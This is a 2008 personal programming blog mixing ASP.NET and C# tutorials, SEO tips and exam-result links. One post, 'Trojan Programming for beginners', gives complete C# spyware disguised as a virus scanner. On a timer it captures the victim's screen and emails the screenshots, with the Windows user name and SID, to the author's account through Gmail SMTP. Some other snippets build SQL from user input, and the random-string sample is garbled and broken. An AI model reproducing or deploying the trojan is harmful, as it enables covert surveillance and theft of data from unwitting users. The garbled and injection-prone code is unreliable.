Adsence750x90

Friday, May 23, 2008

How to Change Background color of Table Using ASP.NET - server side style changing

How to Change Background color of Table Using ASP.NET

In a ASP.NET Page, we can change the background color by HtmlTextWriterStyle. This specify the HTML Styles available to an System.Web.UI.HtmlTextWriterStyle or System.Web.UI..Html32TextWriterStyle object output stream. You can Find your table using FindControl("string table Name")
then
table.Style.Add(CssStyleCollection); Using this method you can change styles in ypur Page. Using
HtmlTextWriterStyle we can Change background color Dynamically.
C# Code for Change background of table

HtmlTable htmlTable = FindControl("tblmain") as HtmlTable;
htmlTable.Style.Add(HtmlTextWriterStyle.BackgroundImage, "image.jpg");

Wednesday, May 21, 2008

Kerala Engineering Medical Entrance Results 2008, KEAM 2008 Result

Result from the Official website of KEAM, Kerala Engineering Medical Entrance Results 2008

Check your Entrance Result Please go through this link,short cut for the exam results will publish answer key after 2 days. Here only provide link for Results.

Kerala Engineering Medical Entrance Results 2008

C# Programmer - India Kerala

C# Programmer India search engine optimization

keyword C# Programmer India just check whether Google pick my keyword or not.
and am also testing one more keyword Programmer Cochin.

Tuesday, May 20, 2008

SEO Tips: How to optimize search Engine

SEO Tips,Search Engine Optimization Tips

How to optimize your site in search Engines Like Google,yahoo, msn
Search engine optimization is not simple. Search engine optimization generally called SEO. you can get site optimization help from internet Google search or in blogger search.But its all mis root your
optimization, because SEO facing great competition in web. first you thing about How to Optimize your site and do as that path.

Wednesday, May 14, 2008

Screen Shots in C# - code for taking desktop image (screen capture)

How to capture Screenshots in C#.Net

This C# code for capturing screen shots. This code returns bitmap image save this image in in computer.

private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;

case 24:
pFormat = PixelFormat.Format24bppRgb;
break;

case 32:
pFormat = PixelFormat.Format32bppArgb;
break;

default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
call this method to SAVE file
on Button Click()
{
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);

}

Trojan Programming for beginners in C# - sample source code

Trojan Programming for beginners by Raju.M

This articles mainly concentrated for only beginners
what is a Trojan ?
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.

Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.

Common features of Trojan Programs :

• Capturing screenshots of your computer.

• Recording key strokes and sending files to the hacker

• Giving full Access to all your drives and files.

• Ability to use your computer to do other hacking related activities.

this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.

first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email

C# Code for very simple Trojan.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;

namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();

}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;

case 24:
pFormat = PixelFormat.Format24bppRgb;
break;

case 32:
pFormat = PixelFormat.Format32bppArgb;
break;

default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}

return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{


}



private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}



Disclaimer
I am not responsible if some of you maid anything wrong with this content. Thanks

Tuesday, May 13, 2008

Download Authorize.Net Implementation and User Guide for SIM

Download Authorize.Net Implementation and User Guide for SIM

Need HELP for Payment gateways - Authorize.Net implementation Guide.It Explain How to implement Gateways with Examples
Click here to Download Sim Guide means Simple Integration Method

Saturday, May 10, 2008

C#.NET And ASP.NET GridView Control With BoundField - with sample code and tutorials

C#.NET And ASP.NET GridView Control With BoundField

this is a simple example of GridView Control in ASP.NET and C#.NET. You can Code your GridView very Esay and simply.
BoundField.DataField="Column1"; This means that column1 will display in the GridView.
finally you can Bind your Gridview with your datatable




using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using DBLayer;
public partial class Default4 : System.Web.UI.Page
{
DataTable bookingtable;
DBHelper objDBHelper;
protected void Page_Load(object sender, EventArgs e)
{
objDBHelper = new DBHelper();
string cmd = string.Format("SELECT dealId,BirthdayId,ddDealItem,ddgivenWithItem,DealItemPrice, SeatNumbet,AllotedDate, Venue FROM Table1)", Request.QueryString["id"]);
bookingtable = objDBHelper.GetReaderTable(cmd, 8);
if (bookingtable.Rows.Count > 0)
{

for (int i = 0; i < bookingtable.Rows.Count; i++)
{
DateTime d = Convert.ToDateTime(bookingtable.Rows[i][6]);
bookingtable.Rows[i][6] = d.ToShortDateString();
}
if (!IsPostBack)
{
ButtonField bfcol = new ButtonField();
bfcol.HeaderText = "SELECT";
bfcol.ButtonType = ButtonType.Link;
bfcol.CommandName = "select";
bfcol.Text = "Select";

BoundField DID = new BoundField();
DID.DataField = "Column1";
BoundField BID = new BoundField();
BID.DataField = "Column2";

BoundField Item = new BoundField();
Item.DataField = "Column3";
Item.HeaderText = "Item";
Item.ItemStyle.HorizontalAlign = HorizontalAlign.Left;

BoundField Extra = new BoundField();
Extra.DataField = "Column4";
Extra.HeaderText = "Extra Item";
Extra.ItemStyle.HorizontalAlign = HorizontalAlign.Left;

BoundField Price = new BoundField();
Price.DataField = "Column5";
Price.HeaderText = "Price";
Price.ItemStyle.HorizontalAlign = HorizontalAlign.Center;

BoundField Seat = new BoundField();
Seat.DataField = "Column6";
Seat.HeaderText = "Maximum Seats";
Seat.ItemStyle.HorizontalAlign = HorizontalAlign.Center;

BoundField date = new BoundField();
date.DataField = "Column7";
date.HeaderText = "Date of birthday";
date.ItemStyle.HorizontalAlign = HorizontalAlign.Center;

TextBoxControlBuilder txt = new TextBoxControlBuilder();
txt.ID = "txtPrice";


BoundField venue = new BoundField();
venue.DataField = "Column8";
venue.HeaderText = "Venue";
venue.ItemStyle.HorizontalAlign = HorizontalAlign.Center;


GridView1.Columns.Add(DID);
GridView1.Columns.Add(BID);
GridView1.Columns.Add(Item);
GridView1.Columns.Add(Extra);
GridView1.Columns.Add(Price);
GridView1.Columns.Add(Seat);
GridView1.Columns.Add(date);
GridView1.Columns.Add(venue);
GridView1.Columns.Add(bfcol);
}
GridView1.DataSource = bookingtable.DefaultView;
GridView1.DataBind();
GridView1.Columns[0].Visible = false;
GridView1.Columns[1].Visible = false;
}
}
}

Friday, May 9, 2008

ASP.NET And C# GridView Control

Simple code for C# ASP.NET GridView Control.



using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;

public partial class Default3 : System.Web.UI.Page
{
DataTable GridViewTable;
protected void Page_Load(object sender, EventArgs e)
{

SqlConnection con=new SqlConnection(@"Data Source=RAJ\SQLEXPRESS;Initial Catalog=Raju;Integrated Security=True");
SqlCommand cmd=new SqlCommand("SELECT username,firstname,lastname,age FROM Examples",con);
GridViewTable =new DataTable();
con.Open();
SqlDataAdapter dataAdptr=new SqlDataAdapter(cmd);
dataAdptr.Fill(GridViewTable);
con.Close();
if (GridViewTable.Rows.Count > 0)
{
GridViewTable.Columns[0].ColumnName = "User Name";
GridViewTable.Columns[1].ColumnName = "First Name";
GridViewTable.Columns[2].ColumnName = "Last Name";
GridViewTable.Columns[3].ColumnName = "Age";

GridView1.DataSource = GridViewTable.DefaultView;
GridView1.DataBind();
}
}
}

Monday, May 5, 2008

The transaction resulted in a AVS mismatch from Authorize.Net- error code 2|2|27

How to avoid "The transaction resulted in an AVS mismatch" From Authorize.net Response (error code 2|2|27)

Credit card processing via Authorize.Net.

Solve AVS mismatch problem in credit card processing.
AVS means Address Verification System. This error come when the card owners address mismatch with card owners back account.Authorize.Net compare both address(ie sent address and card owners bank account address).you can simply avoid this problem, when you pass two more variables to Authorize.Net.

These two

1:x_address =contains the address of the customer associated with the billing address for the transaction
2:x_zip =contains the zip of the customer associated with the billing address for the transaction

if u pass these values to Authorize.Net it will return Success payment transaction result( 1|1|1|This transaction has been approved)

Post your Reply


Yahoo Multi Messenger - without download registry hack

Yahoo Multi Messenger Without Downloding Other software

you can simply hack your Yahoo Messenger without downloading and installing any other software. If you want Yahoo Multi Messenger please mail me to raju.rajum@gmail.com or raju.m@live.com

ASP.NET Code Snippet: Generating Random Number with Random String in C# ASP.NET

ASP.NET C# Code Snippet: Generating Random Number with String in C# ASP.NET

public string RandomStringKeys()
{
string returnString = string.Empty;
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string numbers = "0123456789";
char[] letterArray = Letters.ToCharArray();
char[] numberArray = numbers.ToCharArray();
Random objrandomNumber = new Random();
byte[] selection = Encoding.ASCII.GetBytes(objrandomNumber.Next(111111, 999999).ToString());
BitArray bArray = new BitArray(selection);

string binaryString = string.Empty;
int t = 0;
int f = 0;

for (int i = 0; i < encodestring =" binaryString.Substring(objrandomNumber.Next(1," i =" 0;">

AJAX DropDownList using UpdatePanel in C# and ASP.NET

Simple ASP.NET AJAX DropDownList USING UpdatePanel In C# ASP.NET 2005

Replace all "(" with '<' and also ")" with '>"

You can download AJAX controls in asp.net or From AJAX CONTROLS . Ajax stands for Asynchronous Javascript And XML. Here am going to bind data form database using AJAX UpdatePanel, and Binding city state and country for respected DropDownList.
As usual u can bind country DropDownList

C# code for Country DropDownList


protected void Page_Load(object sender, EventArgs e)
{

if (!IsPostBack)
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand("SELECT CountryName,CountryId FROM CountryTable", con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlCountry.Items.Clear();
ddlCountry.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlCountry.Items.Add(lst);
}
}
}

}

protected void ddlCountry_SelectedIndexChanged(object sender, EventArgs e)
{
if (ddlCountry.SelectedValue.ToString() != "SELECT")
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand(string.Format("SELECT StateName,StateId FROM StateTable WHERE CountryId='{0}'", ddlCountry.SelectedValue.ToString()), con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlState.Items.Clear();
ddlState.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlState.Items.Add(lst);
}
}
}
}
HTML code

(asp:dropdownlist id="ddlCountry" runat="server" onselectedindexchanged="ddlCountry_SelectedIndexChanged" autopostback="True")(/asp:dropdownlist)
(br) (asp:updatepanel id="upnl" runat="server")(br) (contenttemplate)(br) (asp:dropdownlist id="ddlState" runat="server")(/asp:dropdownlist)(br) (/contenttemplate)(br) (triggers)(br) (asp:asyncpostbacktrigger controlid="ddlCountry")(br) (/asp:asyncpostbacktrigger)


Thursday, May 1, 2008

How to Create Namespace in JAVASCRIPT

Creating Namespace in JAVASCRIPT

between script tag write this code

if(typeof(raju)=='undefined')
{raju={};}

raju.TestFunction=function()
{
alert("Raju.M");
}
div onclick="raju.TestFunction();" raju /div